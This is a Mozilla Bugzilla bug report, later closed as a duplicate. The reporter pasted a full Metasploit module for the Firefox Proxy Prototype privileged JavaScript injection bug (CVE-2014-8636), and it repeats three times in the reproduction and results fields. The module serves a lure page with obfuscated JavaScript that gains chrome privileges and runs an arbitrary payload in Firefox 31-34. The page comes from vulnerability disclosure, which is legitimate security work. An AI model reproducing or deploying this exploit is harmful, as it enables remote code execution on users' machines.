Closed
Bug 1160825
Opened 10 years ago
Closed 10 years ago
Firefox Proxy Prototype Privileged Javascript Injection Exploit
Categories
(Firefox :: Untriaged, defect)
Firefox
Untriaged
Tracking
()
RESOLVED
DUPLICATE
of bug 1120261
People
(Reporter: mehmetnurcan, Unassigned)
Details
(Keywords: sec-critical)
User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Firefox for Android
Steps to reproduce:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end
Actual results:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end
Expected results:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end
|
||
Updated•10 years ago
|
Status: UNCONFIRMED → RESOLVED
Closed: 10 years ago
Resolution: --- → DUPLICATE
|
||
Updated•9 years ago
|
Group: core-security → core-security-release
|
||
Updated•8 years ago
|
Group: core-security-release
Keywords: sec-critical
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Description
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